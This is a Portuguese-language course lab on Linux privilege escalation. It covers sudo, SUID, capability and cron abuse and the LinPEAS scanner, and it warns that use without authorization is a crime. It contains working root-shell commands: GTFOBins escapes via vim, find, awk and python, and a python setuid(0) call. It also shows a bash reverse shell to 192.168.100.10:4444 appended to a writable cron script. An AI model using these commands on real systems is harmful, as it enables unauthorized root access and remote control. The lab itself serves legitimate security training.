Pular para o conteúdo principal

Lab 9.1: Escalada de Privilégios no Linux

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Enumerar um sistema Linux para encontrar vetores de escalada
  • Explorar binários SUID/SGID mal configurados
  • Explorar sudo mal configurado
  • Usar GTFOBins para exploração de binários
  • Explorar capabilities do Linux
  • Explorar tarefas cron mal configuradas
  • Utilizar o LinPEAS para automação
  • Passar de usuário padrão para root em poucos minutos

Duração Estimada​

40 minutos

Pré-requisitos​

  • VM Linux (Ubuntu/Debian) ou WSL
  • Conta de usuário padrão
  • Acesso a uma conta com sudo (para configuração)
  • Compreensão básica de Linux

Contexto Profissional​

A escalada de privilégios no Linux é essencial em:

  • Testes de penetração
  • CTF e competições
  • Auditoria de segurança
  • Exercícios de Red Team

Usado após:

  • Exploração inicial (web shell, SSH comprometido)
  • Para obter root e controle total

Técnicas de escalada para obter root sem autorização = Crime informático.

PERMITIDO:

  • VM de teste
  • Plataformas legais (TryHackMe, HackTheBox)
  • Testes autorizados

PROIBIDO:

  • Servidores reais sem permissão
  • Escalada não autorizada

Parte 1: Enumeração no Linux​

Comandos Essenciais​

Informações do sistema:

uname -a                # Versão do kernel
cat /etc/os-release # Distribuição
hostname # Nome da máquina
id # Seu UID/GID
whoami # Nome do usuário

Permissões e sudo:

sudo -l                 # Comandos sudo permitidos
cat /etc/sudoers # Configuração do sudo (se legível)

Resultado típico do sudo -l:

User user1 may run the following commands on target:
(ALL) NOPASSWD: /usr/bin/vim

CRÍTICO: Usuário pode executar vim como root sem senha!

Buscar arquivos SUID:

find / -perm -4000 2>/dev/null

Resultado:

/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find ← PERIGOSO SE MAL CONFIGURADO
/usr/bin/vim.basic ← MUITO PERIGOSO

Perguntas:

  1. Qual versão do kernel seu sistema utiliza?
  2. Quais comandos sudo você pode executar?

Parte 2: Exploração do Sudo​

Sudo com NOPASSWD​

Se sudo -l mostrar:

(ALL) NOPASSWD: /usr/bin/vim

Exploração via GTFOBins:

Acesse: https://gtfobins.github.io/gtfobins/vim/

Payload:

sudo vim -c ':!/bin/bash'

Ou:

sudo vim
:set shell=/bin/bash
:shell

BOOM! Shell root!

Verifique:

whoami
id

Resultado: root

De usuário para root em 10 segundos!

Outros Binários Exploitáveis​

find:

sudo find /etc -exec /bin/bash \;

awk:

sudo awk 'BEGIN {system("/bin/bash")}'

less:

sudo less /etc/hosts
!bash

python:

sudo python -c 'import os; os.system("/bin/bash")'

Perguntas: 3. A exploração do sudo funcionou? 4. Qual binário você explorou?


Parte 3: Binários SUID​

Encontrar SUID Perigosos​

Busca:

find / -perm -4000 2>/dev/null

Binários SUID legítimos (normais):

  • /usr/bin/passwd
  • /usr/bin/sudo
  • /usr/bin/su

Binários SUID PERIGOSOS (se presentes):

  • /usr/bin/find
  • /usr/bin/vim
  • /usr/bin/python
  • /usr/bin/bash
  • /usr/bin/more
  • /usr/bin/less

Se find for SUID:

/usr/bin/find /etc -exec /bin/bash -p \;

Opção -p: Preserva SUID (permanece root!)

Perguntas: 5. Quais binários SUID você encontrou? 6. Quais são exploráveis segundo o GTFOBins?


Parte 4: Capabilities do Linux​

Listar Capabilities​

getcap -r / 2>/dev/null

Resultado típico:

/usr/bin/python3.8 = cap_setuid+ep

cap_setuid: Permite trocar o UID!

Exploração:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Root obtido!

Perguntas: 7. Existem binários com capabilities perigosas presentes?


Parte 5: Cron Jobs​

Encontrar Cron Jobs​

cat /etc/crontab
ls -la /etc/cron.*
crontab -l

Se o script do cron for gravável:

echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh

Aguarde a execução: Shell root!


Parte 6: Automação com LinPEAS​

Instalação​

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Scan completo automático!

Resultado:

  • Todas as vulnerabilidades listadas
  • Código de cores (vermelho = crítico)
  • Sugestões de exploração

Entregáveis​

  1. Relatório com escalada bem-sucedida de usuário para root
  2. Método utilizado (sudo, SUID, capabilities)
  3. Tempo medido para escalada
  4. Output completo do LinPEAS

Conclusão​

Técnicas dominadas:

  • Enumeração completa do Linux
  • Exploração de sudo
  • Exploração de SUID
  • Capabilities
  • Automação com LinPEAS

Tempo típico de escalada: 5-15 minutos com enumeração!


Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 9